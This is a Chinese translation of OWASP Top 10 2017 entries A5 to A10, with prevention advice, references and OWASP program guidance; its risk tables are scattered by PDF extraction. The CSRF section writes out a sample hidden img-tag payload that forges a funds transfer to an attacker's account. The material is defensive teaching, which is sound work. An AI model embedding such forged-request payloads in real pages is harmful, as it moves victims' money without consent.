https://www.owasp.org/index.php/ESAPI


攻击案例场景
场景#1：应用程序服务器管理员控制台自动安装后没有被
删除。而默认帐户也没有被改变。攻击者在你的服务器上
发现了标准的管理员页面，通过默认密码登录，从而接管
了你的服务器。

场景#2：目录列表在你的服务器上未被禁用。攻击者发现
只需列出目录，她就可以找到你服务器上的任意文件。攻
击者找到并下载所有已编译的Java类，她通过反编译获得
了所有你的自定义代码。然后，她在你的应用程序中找到
一个访问控制的严重漏洞。

场景#3：应用服务器配置允许堆栈跟踪信息返回给用户，
这样就暴露了潜在的漏洞。如已知的有漏洞的框架版本。

场景#4：应用服务器自带的示例应用程序没有从您的生产
服务器中删除。该示例应用有已知安全漏洞，攻击者可以
利用这些漏洞破坏您的服务器。

我易受攻击吗？
你的应用程序是否在应用程序栈的任何部分缺少适当的安全

加固？这些措施包括：

1. 是否有软件没有被及时更新？这包括操作系统、Web/应用
服务器、数据库管理系统、应用程序、APIs、和其它所有的
组件和库文件（详见2017-A9）。

2. 是否使用或安装了不必要的功能（例如，端口、服务、网
页、帐户、权限）？

3. 默认帐户的密码是否仍然可用或没有更改？

4. 你的错误处理机制是否防止堆栈跟踪和其他含有大量的错
误信息被泄露?

5. 对你的应用服务器和应用框架是否进行了安全配置（比如：
Struts、Spring、ASP.NET）和库文件、数据库等，没有进行
安全配置？

缺少一个体系的、可重复的应用程序安全配置的过程，系
统将处于高风险中。

参考资料
OWASP

• OWASP Development Guide: Chapter on Configuration

• OWASP Code Review Guide: Chapter on Error Handling

• OWASP Testing Guide: Configuration Management

• OWASP Testing Guide: Testing for Error Codes

• OWASP Top 10 2004 - Insecure Configuration Management 

为了更详尽的了解该领域的需求信息，请参见 ASVS 
requirements area for Security Configuration (V11 and V19)。

外部资源

• NIST Guide to General Server Hardening

• CWE Entry 2 on Environmental Security Flaws

• CIS Security Configuration Guides/Benchmarks

我如何防止 ?
主要的建议建立在以下几个方面:

1. 一个可以快速且易于部署在另一个锁定环境的可重复

的加固过程。开发、质量保证和生产环境都应该配置
相同（每个环境中使用不同的密码）。这个过程应该
是自动化的，以尽量减少安装一个新安全环境的耗费。

2. 一个能及时了解并部署每个已部署环境的所有最新软

件更新和补丁的过程。这需要包括通常被忽略的所有
组件和库文件（详见新的2017-A9 ）。

3. 一个能在组件之间提供有效的分离和安全性的强大应
用程序架构。

4. 在所有环境中能够正确安全配置和设置的自动化过程。

安全配置错误A5

应用描述
可利用性

容易
普遍性
常见

可检测性
容易

影响
中等

应用/业务描述

考虑外部的匿名攻
击者和拥有自己帐
户的内部用户都可
能会试图破坏系统
的。另外考虑想要
掩饰他们的攻击行
为的内部攻击者。

攻击者访问默认帐
户、未使用的网页、
未安装补丁的漏洞、
未被保护的文件和
目录等，以获得对
系统未授权的访问
或了解。

安全配置错误可以发生在一个应用程序
堆栈的任何层面，包括平台、Web服务

器、应用服务器、数据库、框架和自定
义代码。开发人员和系统管理员需共同
努力，以确保整个堆栈的正确配置。自
动扫描器可用于检测未安装的补丁、错
误的配置、默认帐户的使用、不必要的
服务等。

这些漏洞使攻击者
能经常访问一些未
授权的系统数据或
功能。有时，这些
漏洞导致系统的完
全攻破。

系统可能在你未知
的情况下被完全攻
破。你的数据可能
会随着时间推移被
全部盗走或者篡改。

恢复的花费可能会
很昂贵。

安全弱点攻击向量 技术影响
威胁代理

业务
影响

https://www.owasp.org/index.php/Configuration
https://www.owasp.org/index.php/Error_Handling
https://www.owasp.org/index.php/Testing_for_configuration_management
https://www.owasp.org/index.php/Testing_for_Error_Code_(OWASP-IG-006)
https://www.owasp.org/index.php/A10_2004_Insecure_Configuration_Management
https://www.owasp.org/index.php/ASVS
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-123.pdf
http://cwe.mitre.org/data/definitions/2.html
http://benchmarks.cisecurity.org/downloads/benchmarks/


攻击案例场景
场景#1：一个应用程序加密存储在数据库的信用卡信息，
以防止信用卡信息暴露给最终用户。但是，数据库设置为
对信用卡表列的查询进行自动解密，这就使得SQL注入漏

洞能够获得所有信用卡信息的明文。备选方案包括不存储
信用卡号码，使用标记化或使用公钥加密。
场景#2：一个网站上所有需要身份验证的网页都没有使用
TLS。攻击者只需监控网络数据流（比如一个开放的无线
网络），并窃取一个已验证的受害者的session cookie。然
后，攻击者利用这个cookie执行重放攻击并接管用户的会
话从而访问用户的隐私数据。
场景#3：密码数据库使用未加盐的哈希算法去存储每个人

的密码。一个文件上传漏洞使黑客能够获取密码文件。所
有这些未加盐哈希的密码通过彩虹表暴力破解方式破解。

我易受攻击吗？
首先你需要确认的是哪些数据是敏感数据而需要被加

密。例如：密码、信用卡、医疗记录、个人信息应该被加
密。对于这些数据，要确保：

1. 当这些数据被长期存储的时候，无论存储在哪里，它
们是否都被加密，特别是对这些数据的备份？

2. 无论内部数据还是外部数据，传输时是否是明文传输？
在互联网中传输明文数据是非常危险的。

3. 是否还在使用任何旧的或脆弱的加密算法？

4. 加密密钥的生成是否是脆弱的，或者缺少恰当的密钥
管理或缺少密钥回转？

5. 当浏览器接收或发送敏感数据时，是否有浏览器安全
指令或头文件丢失？

还有更多···关于在这一领域应该避免的更多问题请参见
ASVS areas Crypto (V7), Data Prot.(V9)和 SSL(V10)。

参考资料
OWASP

为了更详尽的了解该领域的相关需求和因避免的相关
问题，请参见ASVS req’ts on Cryptography (V7), Data 
Protection (V9) 和Communications Security (V10)。
• OWASP Cryptographic Storage Cheat Sheet
• OWASP Password Storage Cheat Sheet
• OWASP Transport Layer Protection Cheat Sheet
• OWASP Testing Guide: Chapter on SSL/TLS Testing

外部资源
• CWE Entry 310 on Cryptographic Issues
• CWE Entry 312 on Cleartext Storage of Sensitive Information
• CWE Entry 319 on Cleartext Transmission of Sensitive 
Information
• CWE Entry 326 on Weak Encryption

我如何防止?
有关使用不安全的加密算法、SSL使用和数据保护的风

险超出了Top 10的范围。尽管如此，对一些需要加密的敏
感数据，应该起码做到以下几点：

1. 预测一些威胁（比如内部攻击和外部用户），加密这
些数据的存储以确保免受这些威胁。

2. 对于没必要存放的、重要的敏感数据，应当尽快清除。

3. 确保使用了合适的强大的标准算法和强大的密匙，并
且密匙管理到位。可参考FIPS 140 validated 
cryptographic modules。

4. 确保使用密码专用算法存储密码，如：bcrypt、
PBKDF2或者scrypt。

5. 禁用自动完成防止敏感数据收集，禁用包含敏感数据
的缓存页面。

敏感信息泄漏A6

应用描述
可利用性

难
普遍性
少见

可检测性
平均

影响
严重

应用/业务描述

考虑谁可以访问您
的敏感数据和这些
数据的备份。这包
括静态数据、传输
中的数据甚至是客
户浏览器中的数据。

攻击者通常不直接
攻击加密系统。他
们往往通过诸如窃
取密钥、发起中间
人攻击或从服务器
窃取明文数据等方
式对传输中的或者
客户浏览器中的数
据进行破解。

在这个领域最常见的漏洞是应该加密的
数据不进行加密。在使用加密的情况下，
常见的问题是不安全的密钥生成和管理
和使用弱算法是很普遍的，特别是使用
弱的哈希算法来保护密码。浏览器的漏
洞也很普遍，且可以很轻易的检测到，
但是很难大规模的利用。外部攻击者因
访问的局限性很难探测这种漏洞，并且
难以利用。

这个领域的错误频
繁影响那些本应该
加密的数据。这些
信息通常包括很多
敏感数据，比如医
疗记录，认证凭证，
个人隐私数据，信
用卡信息，等等。

考虑丢失数据和声
誉影响造成的商业
损失。如果这些数
据被泄露，那你要
承担的法律责任是
什么？另外考虑到
对企业造成的声誉
影响。

安全弱点攻击向量 技术影响
威胁代理

业务
影响

https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/ASVS
https://www.owasp.org/index.php/Cryptographic_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_SSL-TLS
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/319.html
http://cwe.mitre.org/data/definitions/326.html
http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-all.htm
http://en.wikipedia.org/wiki/Bcrypt
https://en.wikipedia.org/wiki/PBKDF2
https://en.wikipedia.org/wiki/Scrypt


攻击案例场景
场景#1： 攻击者利用自动化工具如OWASP ZAP或SQLMap
来检测和利用漏洞。

攻击检测应该识别出应用程序正在遭受着异常请求和大流
量攻击，对于自动化扫描也很容易的和正常流量区分开。

场景#2：熟练的攻击者小心的探测着可能存在的漏洞，最
终发现哪些隐藏的漏洞。

然而这类攻击可能包含着正常用户从不会发送的一些请求，
如禁止在界面上输入的内容，很难被检测到。跟踪这类攻
击需些时间创建一些用以阐明恶意企图的用例。

场景#3：攻击者已经开始利用你应用系统中的一个漏洞，
而你当前的攻击检测未能阻止。

你能多快的部署一个真实或虚拟补丁来阻止对此漏洞的持
续攻击？

我是否存在应对攻击防护不足漏洞？
检测、响应并阻止攻击极大的增加了应用程序被攻破

的难度，可惜的是几乎没有应用程序或API这么做。代码

或组件中存在的高危漏洞一直被批露，然后应用供应商往
往要花数周或几个月的时间来制定出新的防护措施。

试着手动攻击或者运行扫描器，就很容易判断一个应
用程序是否具有攻击检测和响应功能。应用程序或API应

该识别出攻击，阻止任何可能的攻击，并提供出攻击者的
具体信息以及攻击的类型。当一个高危漏洞被检测出，如
果你不能快速发布虚拟或实际补丁，那你就很容易遭受攻
击。

一定要弄清楚攻击防护覆盖的攻击类型有哪些，仅仅
只能防护跨站和SQL注入吗？你可以使用一些技术如WAF,
RASP和OWASP AppSensor以及漏洞的虚拟补丁来检测和阻
止攻击。

参考资料
OWASP

• OWASP Article on Intrusion Detection

• OWASP AppSensor

• OWASP Automated Threats Project

• OWASP Credential Stuffing Cheat Sheet

• OWASP Virtual Patching Cheat Sheet

• OWASP Mod Security Core Ruleset

外部资源

• WASC Article on Insufficient Anti-automation

• CWE Entry 778 - Insufficient Logging

• CWE Entry 799 - Improper Control of Interaction Frequency

我如何防止？
充分的攻击防护应该包括以下三点内容：

1. 检测攻击。合法用户不可能做的事情发生了吗（如合
法用户不可能创造出的输入）？正常用户是否用永远
不会这样使用应用系统（如输入速度过快，不合规则
的输入，非正常的使用模式，重复的请求）？

2. 响应攻击。日志和通知对于及时的响应异常重要。考
虑对于某个IP或者一个IP网段是否实施自动阻止。考
虑对哪些异常的用户账号进行禁用或者监控。

3. 快速打补丁。如果你的开发团队不能在一天内对高危
漏洞发布补丁，可以尝试部署一个虚拟补丁来分析
HTTP流量，数据流，代码执行并且防止漏洞被利用。

应对攻击防护不足A7

应用描述
可利用性

易
普遍性
常见

可检测性
平均

影响
中等

应用/业务描述

任何具有网络访问
权限的人都可以向
你的应用程序发送
一个请求。你的应
用程序能检测到手
动攻击和自动化攻
击并做出响应吗？

已知用户或匿名用
户发动攻击。应用
程序或API能检测

到吗？如何响应？
能否阻对已知漏洞
发动的攻击吗？

应用程序和API无时无刻都在遭受着攻

击。它们检测到非法输入后，只是丢弃
它，从而使得攻击者可以反复的实施攻
击。其实这往往表明一个恶意用户或者
是被盗用的用户正在实施探测或利用漏
洞。检测并阻止手动或自动化的攻击是
提高安全性最有效的手段之一。对于刚
被你发现的高危漏洞，你能多快的打补
丁呢？

许多成功的攻击都
起始于探测漏洞。
允许这种持续的探
测会大大的增加成
功利用漏洞的可能
性。不能快速的打
补丁也有利于攻击
者。

对于业务应该考虑
到应对攻击防护不
足的影响。成功的
攻击可能不会被阻
止，很长时间未被
发现并远远超出预
期。

安全弱点攻击向量 技术影响
威胁代理

业务
影响

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
http://sqlmap.org/
https://www.owasp.org/index.php/Intrusion_Detection
https://www.owasp.org/index.php/OWASP_AppSensor_Project
https://www.owasp.org/index.php/OWASP_Automated_Threats_to_Web_Applications
https://www.owasp.org/index.php/Credential_Stuffing_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/Virtual_Patching_Cheat_Sheet
https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project
http://projects.webappsec.org/w/page/13246938/Insufficient Anti-automation
http://cwe.mitre.org/data/definitions/778.html
http://cwe.mitre.org/data/definitions/799.html


攻击案例场景
应用程序允许用户提交不包含任何保密字段的状态改

变请求，如：

http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243

因此，攻击者构建一个请求，用于将受害用户账户中

的现金转移到自己账户。然后攻击者在其控制的多个网站
中以图片请求或iframe中嵌入这种攻击。

<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“
width="0" height="0" />

如果受害用户通过了example.com认证，则伪造的请
求将自动包含用户的会话信息，授权执行攻击者的请求。

我存在CSRF漏洞？
检测应用程序是否存在该漏洞的方法是查看是否每个

链接和表单都提供了不可预测的CSRF令牌。没有这样的令

牌，攻击者就能够伪造恶意请求。另一种防御的方法是要
求用户证明是他们要提交请求，如重新认证。

重点关注那些调用能够改变状态功能的链接和表单，

因为他们是跨站请求伪造攻击的最重要的目标。多步交易
并不具备内在的防攻击能力，并且攻击者也可以利用SSRF
来诱导应用程序和API来产生任意的HTTP请求。
请注意：会话cookie、源IP地址和其他浏览器自动发送的

信息不能作为防攻击令牌，因为这些信息已经包含在伪造
的请求中。

OWASP的CSRF测试工具有助于生成测试案例，可用于
展示跨站请求伪造漏洞的危害。

参考资料
OWASP

• OWASP CSRF Article

• OWASP CSRF Prevention Cheat Sheet

• OWASP CSRFGuard - Java CSRF Defense Tool

• OWASP CSRFProtector - PHP and Apache CSRF Defense Tool

• ESAPI HTTPUtilities Class with AntiCSRF Tokens

• OWASP Testing Guide: Chapter on CSRF Testing

• OWASP CSRFTester - CSRF Testing Tool

外部资源

• CWE Entry 352 on CSRF

• Wikipedia article on CSRF

我如何防止CSRF？
优先考虑的就是利用已有的CSRF防护方案。许多框架，

如 Spring, Play, Django以及AngularJS，都内嵌了CSRF防护，
一些web开发语言如.Net也提供了类似的防护。OWASP 
CSRF Guard对Java应用提供了 CSRF防护，OWASP
CSRFProtector对PHP应用和Apache server也提供CSRF了防
护。否则需要在每个HTTP请求中添加一个不可预测的令牌，
这种令牌至少应该对每一个用户会话来说是唯一的。

1. 最好的方法是将独有的令牌包含在一个隐藏字段中。
这将使得该令牌通过HTTP请求体发送，避免其包含在
URL中从而被暴露出来。

2. 将令牌放在URL中或作为一个URL参数，但是这种方法
的风险在于令牌会暴露给攻击者。

3. 考虑对所有cookie使用”SameSite=strict”标签，该标签
逐渐被各类浏览器所支持。

跨站请求伪造（CSRF）A8

应用描述
可利用性

平均
普遍性
不常见

可检测性
易

影响
中等

应用/业务描述

考虑可能将内容载
入用户的浏览器并
迫使他们向你的网
站提交请求的任何
人，包括用户所访
问的任何网站或者
HTML 源

攻击者创建伪造
HTTP请求并通过图
片标签、iframe、

跨站脚本或许多其
它技术诱使受害用
户提交这些请求。
如果该受害用户已
经经过身份认证，
那么攻击就能成功。

CSRF是因为某些web应用程序允许攻击
者预测一个特定操作的所有细节。

由于浏览器自动发送会话cookie等认证
凭证，攻击者能创建恶意web页面产生

伪造请求，并且这些伪造请求很难与合
法请求区分开。

跨站请求伪造漏洞可以很容易通过渗透
测试或代码分析检测到。

攻击者能欺骗受害
用户完成该受害者
所允许的任意状态
改变的操作，比如：
更新帐号细节，完
成购物，修改数据
等操作。

考虑受影响的数据
和应用功能的商业
价值。试想如果并
不知道这些操作是
否是用户的真正意
愿会产生什么后果，

同时考虑带来的声
誉影响。

安全弱点攻击向量 技术影响
威胁代理

业务
影响

https://www.owasp.org/index.php/CSRFTester
https://www.owasp.org/index.php/CSRF
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/CSRFProtector_Project
https://www.owasp.org/index.php/CSRFProtector_Project
https://www.owasp.org/index.php/CSRFProtector_Project
https://www.owasp.org/index.php/CSRFProtector_Project
https://www.owasp.org/index.php/CSRFProtector_Project
https://static.javadoc.io/org.owasp.esapi/esapi/2.0.1/org/owasp/esapi/HTTPUtilities.html
https://www.owasp.org/index.php/Testing_for_CSRF_(OWASP-SM-005)
https://www.owasp.org/index.php/CSRFTester
https://www.owasp.org/index.php/CSRFTester
https://www.owasp.org/index.php/CSRFTester
http://cwe.mitre.org/data/definitions/352.html
https://en.wikipedia.org/wiki/Cross-site_request_forgery
https://en.wikipedia.org/wiki/Cross-site_request_forgery
https://docs.spring.io/spring-security/site/docs/current/reference/html/csrf.html
https://www.playframework.com/documentation/2.5.x/JavaCsrf
https://docs.djangoproject.com/en/1.10/topics/security/
https://angular.io/docs/ts/latest/guide/security.html
http://www.dotnetcurry.com/aspnet/1343/aspnet-core-csrf-antiforgery-token
https://www.owasp.org/index.php/CSRFGuard
https://www.owasp.org/index.php/CSRFProtector_Project
https://www.owasp.org/index.php/CSRF


攻击案例场景
很多时候组件都是以最高权限运行的，这使得组件里

的缺陷可能导致各式各样的问题。这些缺陷可能是一些偶
然的(如编码错误)也可能是蓄意的(如组件里的后门)。下
面是一些发布具有可以被利用漏洞的组件：

•Apache CXF认证绕过 —未能提供身份令牌的情况下，
攻击者可以以最高权限调用任意的web服务。
（Apache CXF 是一个web service框架，不要与Apache
应用服务器混淆。）

•Struts2远程漏洞执行—在Content-Type报头中发送一
个攻击会将报头中的内容作为OGNL表达式进行执行，
这样就可以导致在服务器端执行任何代码。

使用上述任意一个组件的应用程序都易受到攻击，因

为两个组件都会被用户直接访问。其他的漏洞库，在应用
程序中使用的越深入，可能越难被利用。

我存在使用已知漏洞组件的漏洞?
我们面临的挑战是根据新的漏洞报告持续监控使用的

组件(客户端和服务器端)，但很可能由于漏洞报告没有使

用标准化式而使得监控困难，并难以搜索你想要的细节
(如产品中哪些具体的组件具有此漏洞)。更糟糕的是，很
多漏洞从来不上报给漏洞中心如CVE和NVD。

判断您是否易于受到这类攻击，要求您不但要不停地

搜索这些数据库，还要关注大量的邮件列表和可能包含漏
洞发布的公告信息。这个过程可以手动完成或者使用自动
化工具。如果发现了组件中的漏洞，请仔细检查应用是否
真的会收到影响。检查代码中是否使用了具有漏洞的组件，
这个漏洞是否对你的业务造成了影响。现实情况是很可能
由于漏洞报告中描述得很模糊导致检测难以进行。

参考资料
OWASP

• OWASP Dependency Check (for Java and .NET libraries)

• OWASP Virtual Patching Best Practices

外部资源

• The Unfortunate Reality of Insecure Libraries

• MITRE Common Vulnerabilities and Exposures (CVE) search

• National Vulnerability Database (NVD)

• Retire.js for detecting known vulnerable JavaScript libraries

• Node Libraries Security Advisories

• Ruby Libraries Security Advisory Database and Tools

我如何防止?
很多第三方组件项目对旧版本并不发布补丁，唯一的

解决方案就是升级到下一个版本，而这可能需要更改代码。
软件项目应该遵循下面的流程：
1. 利用工具如versions、DependencyCheck 、 retire.js 等

来持续的记录客户端和服务器端以及它们的依赖库的
版本信息

2. 对使用的组件持续监控如NVD 等漏洞中心，可以使用
自动化工具来完成此功能

3. 在升级组件之前请分析一下它们是否在程序运行的时
候被调用到了，很多组件其实从来没被加载或调用过

4. 决定到底是升级组件(如果必要可能需要重写应用代码
来与之匹配)，还是部署一个虚拟补丁分析HTTP流量、
数据流、代码执行来防止漏洞被利用

使用含有已知漏洞的组件A9

应用描述
可利用性

平均
普遍性
常见

可检测性
平均

影响
中等

应用/业务描述

一些含有漏洞的组
件（如：框架库）
可以被自动化工具
发现和利用。这使
得威胁代理不仅仅
包括有目的的攻击
者而且还包括了哪
些浑水摸鱼的人

攻击者通过扫描或
手动分析识别问题
组件，然后根据需
要定制攻击代码并
实施攻击。在应用
中使用组件越深入，
实施攻击的难度越
大。

事实上，大多数的应用和API都存在这

些问题。因为大多数的开发团队并不会
把及时更新组件/库作为他们的工作重

心。在很多情况下，开发者都不了解他
们所使用的全部组件，更不用说组件的
版本了，组件的依赖性使情况更加糟糕。
此外检测组件漏洞的工具也越来越多使
得组件漏洞更容易被发现。

可能是由低到高全
系列的漏洞，包括
注入，未受限的访
问控制，XSS等。
受影响范围也从最
低的受损到主机被
完全接管和数据的
泄漏。

考虑一下受影响的
应用中，每个脆弱
点对业务控制来说
意味着什么。可能
是非常细微的影响，
也有可能意味着被
完全攻破。

安全弱点攻击向量 技术影响
威胁代理

业务
影响

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451
https://nvd.nist.gov/vuln/detail/CVE-2017-5638
http://cve.mitre.org/
http://nvd.nist.gov/home.cfm
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://www.owasp.org/index.php/Virtual_Patching_Best_Practices
http://www.aspectsecurity.com/research-presentations/the-unfortunate-reality-of-insecure-libraries
http://www.aspectsecurity.com/research-presentations/the-unfortunate-reality-of-insecure-libraries
https://www.cvedetails.com/version-search.php
https://nvd.nist.gov/
https://github.com/retirejs/retire.js/
https://github.com/retirejs/retire.js/
https://github.com/retirejs/retire.js/
https://github.com/retirejs/retire.js/
https://nodesecurity.io/advisories
https://rubysec.com/
http://www.mojohaus.org/versions-maven-plugin/
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://github.com/retirejs/retire.js/
https://nvd.nist.gov/


攻击案例场景
场景 #1：想像一下有一个银行移动APP，通过访问XML 
API来访问账户信息，进行交易操作。攻击着逆向分析了
移动APP，发现登录请求中，银行账号和用户名、密码一
起发送给了服务器端的API。攻击者篡改发送了一个带着

有效用户名、密码的登录请求，但是银行账号确实别人的，
通过这个请求，成功登录，然后完全控制别人的银行账号

场景 #2：有一个互联网创业公司提供了一个公开的API，
用以自动发送短消息。这个API接受JSON格式的请求，其
中有transactionid参数。API把transactionid作为字符串来解
析，然后拼接到SQL查询里，没有做任何参数化或者转义。
所以这里的API和其他应用一样会受到SQL注入攻击

上面的两个例子中，供应商可能没有提供Web界面来
访问这些服务，从而造成安全测试更加困难

我易受攻击吗？
测试API的漏洞和测试一般应用层面的漏洞是相似的。

各种注入、认证、访问控制、加密、配置等普通应用程序
存在的问题在API中一样会存在。

然而，因为API一般是设计给程序而不是人使用，一
般不提供UI，而且使用比较复杂的协议和数据结果。这使
得安全测试会比较困难。如果API使用了比较常见的格式，
比如Swagger（OpenAPI）、REST、 JSON、XML，那么安全
测试会容易一些。而GWT这样的框架，以及有些RPC实现
使用了非标准的数据格式。有些应用和API使用了自定义
的协议和数据格式，比如WebSockets。API技术特性的广

泛性和复杂性让自动化安全测试难以得到有效结果，这往
往会导致安全的错觉。

总之，需要仔细考虑一种测试策略去测试所有安全防
御措施，才能了解你的API是否安全。

参考资料
OWASP

• OWASP REST Security Cheat Sheet

• OWASP Web Service Security Cheat Sheet

外部资源

• Increasing Importance of APIs in Web Development

• Tracking the Growth of the API Economy

• The API Centric Future

• The Growth of the API

• What Do You Mean My Security Tools Don’t Work on APIs?!!

• State of API Security

我如何阻止对API的攻击？
保护API的关键是全面理解威胁模型，了解所有可用的

防御措施：

1. 确保Client和API之间通过安全信道进行通讯。

2. 确保API有强安全级别的认证模式，并且所有的凭据、
密钥、令牌都得到保护

3. 确保不管使用哪种数据格式，解析器都应当做好安全
加固，防止攻击

4. 为API访问实现权限控制，防止不当访问，包括未授权
的功能访问和数据引用

5. 防护所有各种形式的注入攻击，因为这些攻击对API
和攻击普通应用是一样有效。

确保安全分析和测试涵盖所有的API，确保安全工具有
效发现和分析它们。

未受有效保护的APIA10

应用描述
可利用性

平均
普遍性
常见

可检测性
难

影响
中等

应用/业务描述

考虑可向你的API

发送请求的任何人。
客户端程序容易被
逆向，网络通讯也
容易被拦截。所以
依靠客户端的混淆
是无法保护API的。

攻击者可以通过检
查客户端代码或监
控网络通信来进行
逆向工程。有些
API的漏洞可以被

自动化工具发现，
另外的只有安全专
家才能发现。

现在Web应用程序越来越广泛的使用富

客户端（浏览器、移动客户端、桌面客
户端等）访问后台API接口（XML, JSON, 
RPC,GWT,自定义格式）。Microservice, 
Service, Endpoint等API可能会受到各种

常见的安全威胁。但是黑盒，甚至是代
码扫描工具，往往难以发现API相关的

漏洞。人工审计也会有困难。所以这些
漏洞经常发现不了。

各种可能的负面 后

果包括数据泄露、

损坏、销毁、整个

应用受到未授权访

问；甚至是整个主

机被控制。

对API攻击应当考

虑其对业务的影响，
能否访问关键数据
或者功能？许多
API承载着核心业

务，所以也要考虑
DoS攻击的影响。

安全弱点攻击向量 技术影响
威胁代理

业务
影响



建立并使用可重复使用的安全流程和标准安全控制

无论您是刚接触web应用程序安全，还是已经非常熟悉各种安全风险，创建一个安全的web应用程序或修复一个已存
在的应用程序的任务都可能很困难。若您需要管理一个大型的应用程序系统群，那任务将十分艰巨。

为帮助企业和开发人员以节省成本的方式降低应用程序的安全风险，OWASP创建了相当多的免费和开源的资源。 您
可以使用这些资源来解决您企业组织的应用程序安全问题。以下内容是OWASP为帮助企业组织创建安全的web应用程序
提供的一些资源。在下一页中，我们将展示其它可以帮助企业用于检查web应用程序和接口安全性的OWASP资源。

还有许多其他的OWASP资源可供使用。OWASP项目网页列明了所有的OWASP项目，并根据发布的版本情况进行编排
（发布质量、Beta版和Alpha版）。大多数OWASP资源都可以在我们的wiki上查看到，同时可以订购各种OWASP纸质文档
或电子书。

开发人员下一步做什么？+D

•为了创建一个安全的web应用程序，您必须定义安全对该应用程序的意义。OWASP建议您
使用《OWASP应用程序安全验证标准（ASVS）》作为您的应用设置安全需求的指导。ASVS
在最近几年更新得非常好，最新版是2016年中的3.0.1版。如果您的应用程序是外包的，建
议使用《OWASP安全软件合同附件》。

应用程序

安全需求

•与其费力去提升应用程序和接口的安全，不如在应用程序开发的初始阶段就进行安全设计，
这样更能节约成本。作为好的开始，OWASP推荐《OWASP开发者指南》和《OWASP 
Prevention Cheat Sheets》，用于指导如何在应用程序开发的初始阶段进行安全设计。2013 
版TOP 10 发布以来，Cheat Sheet获得了 极大的更新和扩展。

应用程序

安全架构

•建立强大并可用的安全控制极度困难。给开发人员提供一套标准的安全控制会极大简化应
用程序和接口的安全开发过程。OWASP推荐OWASP企业安全API（ESAPI）项目作为安全API
的模型，用于创建安全的web应用程序。ESAPI提供了Java语言的参考实现代码。许多通用
框架都已经有了授权、验证、CSRF等安全控制。

标准的

安全控制

•为了改进企业遵循的应用程序开发流程，OWASP推荐使用《OWASP软件保证成熟模型
（SAMM）》。该模型能帮助企业组织制定并实施面对特定风险的软件安全战略。2017年
Open SAMM发布了一个重大的更新。

安全开发

生命周期

•OWASP教育项目为培训开发人员的web应用程序安全知识提供了培训材料，并编制了大量
OWASP教育演示材料。如果需要实际操作了解漏洞，可以使用OWASP webGoat，
webGoat.NET，OWASP NodeJS Goat,或者OWASP Broken web Application项目。如果想了解最
新资讯，请参加OWASP AppSec大会， OWASP 会议培训，或者本地的OWASP分部会议。

应用程序

安全教育



建立持续性的应用安全测试

安全编码很重要。但验证你想达到的安全性是否真实存在、是否正确、是否像我们想的那样也很关键。应用程序安
全测试的目标是提供这些证据。这项工作困难而复杂，敏捷和DevOps当前快速发展的过程给传统的方法和工具带来的极
大的挑战。因此，我们强烈建议你思考如何专注于整个应用程序组合中重要的地方，并且低成本高收益。

当前安全风险变化很快，每年进行一次的扫描或渗透测试的日子已经过去了。现代软件开发需要在整个软件开发生

命周期中进行持续的应用安全测试。通过安全自动化来加强现有的开发管道并不会减缓开发速度。无论你选择哪种方法，
都需考虑一下每年随着应用系统的规模倍增的定期测试、修复、复测并重新部署应用程序的成本。

安全测试下一步做什么？+T

•在你测试之前，请了解业务中需要耗时的重要部分。优先级来源于威胁模型，所以如果你还没
有威胁模型，那么需要在测试开始前建立一个。考虑使用《OWASP ASVS》和《OWASP测试指南》
作为指导标准，而不依赖工具厂商的结果来判断哪些是重要业务。

理解威胁

模型

•你的应用安全测试方法必须与你们软件开发流程（SDLC）中的人员、工具和流程高度匹配。试
图强制推动额外的步骤、门限和审查可能会导致摩擦、绕行和一定范围内的争议。寻找自然而
然的机会去收集安全信息，然后将融合进你的流程。

理解你的

SDLC

•选择最简单、快速、准确的方法去验证每项需求。OWASP Benchmark Projects 可以有助于评估
各安全工具对OWASP TOP10风险的检测能力，从而为你的特定需求挑选出最合适的工具。注意
考虑用于工具误报的人力成本和漏报的严重危害。

测试策略

•你不需要一切都要立刻测试。先关注那些重要的方面，然后随着时间扩展你的全面性。这意味
着逐步扩展安全防御库和自动验证库，以及扩展应用系统和API本身的覆盖。目标是所有的应用
程序和API基本安全性都能获得持续性的验证。

实现全面性
和准确性

•不管你测试得怎么专业，若不有效与别人沟通都等于白做。展示你对程序运行的理解，从而建
立互信关系。不必用晦涩难懂专业用语，清楚描述漏洞的滥用风险，然后在某场景下真实展现
攻击。要对漏洞发现与利用难度及引发的后果做真实的评估。最后提交结果时请使用开发团队
正在使用的文档工具格式，而不是简单的PDF。

体现报告的
价值



现在就启动您的应用程序安全计划

应用程序安全已经不再是一个选择了。在日益增长的攻击和监管的压力下，企业组织必须建立一个有效的能力去确
保应用程序和APIs的安全。由于在生产环境中的应用程序和APIs的代码行数惊人，许多企业组织都在努力处理数量巨大的
漏洞。OWASP建议这些企业组织建立一个应用程序安全计划，深入了解并改善它们的应用程序组合的安全性。为了实现

应用程序的安全性，需要企业组织中的不同部门之间有效地协同工作，这包括安全和审计、软件开发、和商业与执行管
理。它需要安全的可视化，让所有不同角色的人都可以看到并理解企业组织的应用程序的安全态势。它还需要我们付诸
实践和投入，以最有效的方式降低风险，改善企业的安全。一个有效的应用程序安全计划中的一些关键活动包括：

企业组织的下一步做什么？+O

•建立一个应用程序安全计划并被采纳。

•进行能力差距分析以比较您的组织和您的行业，从而定义重点改善的领域和执行计划。

•得到管理层的批准，并建立针对整个IT组织的应用程序安全意识宣传活动。

开始阶段
